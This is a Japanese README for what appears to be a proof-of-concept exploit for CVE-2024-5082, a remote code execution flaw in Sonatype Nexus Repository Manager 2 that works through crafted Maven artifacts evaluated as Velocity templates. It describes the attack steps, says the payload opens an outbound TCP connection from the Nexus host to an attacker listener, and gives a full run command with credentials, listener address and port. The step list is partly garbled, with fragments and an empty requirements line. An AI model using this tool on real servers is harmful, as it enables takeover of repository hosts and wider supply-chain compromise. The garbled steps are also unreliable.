
CVE-2024-5082の概念実証エクスプロイト。巧妙に細工されたMavenアーティファクトとVelocityテンプレート処理を介したSonatype Nexus Repository Manager 2のリモートコード実行の脆弱性です。
このリポジトリには、Sonatype Nexus Repository Manager 2 におけるリモートコード実行の脆弱性 CVE-2024-5082 の Python 概念実証コードが含まれています。
この脆弱性により、十分な権限を持つユーザーが特別に細工された Maven アーティファクトを公開し、Velocity コンテンツジェネレーターによる処理対象としてマークできるようになります。アーティファクトが取得されると、埋め込まれた Velocity テンプレートが Nexus によって評価され、Nexus JVM のセキュリティコンテキストで任意のコマンドが実行される可能性があります。
Sonatype によると:
コマンドは Nexus Repository ホスト 上で実行されます。
影響を受けるアーティファクトをビルドサーバー、アプリケーションサーバー、または開発ワークステーションにダウンロードしても、それだけでコンシューマ側で埋め込まれたコマンドが実行されるわけではありません。ただし、リポジトリマネージャーが侵害されると、攻撃者が後で信頼されたアーティファクト、ビルド入力、認証情報、またはリポジトリ設定を変更した場合、より広範なサプライチェーンリスクが生じる可能性があります。
スクリプトは以下の処理を行います:
maven-metadata.xml ファイルをアップロードします。velocity に設定します。提供されるペイロードは、Nexus ホストから設定されたリスナーアドレスへの外向け TCP 接続を作成します。
現在のスクリプトは HTTP Basic 認証を使用し、以下を必要とします:
python3 cve_2024_5082.py \\
--base-url https://nexus.example.test/nexus \\
--repository security-test-snapshots \\
--username test-user \\
--password 'REDACTED' \\
--lhost LISTENER_IP \\
--lport 8000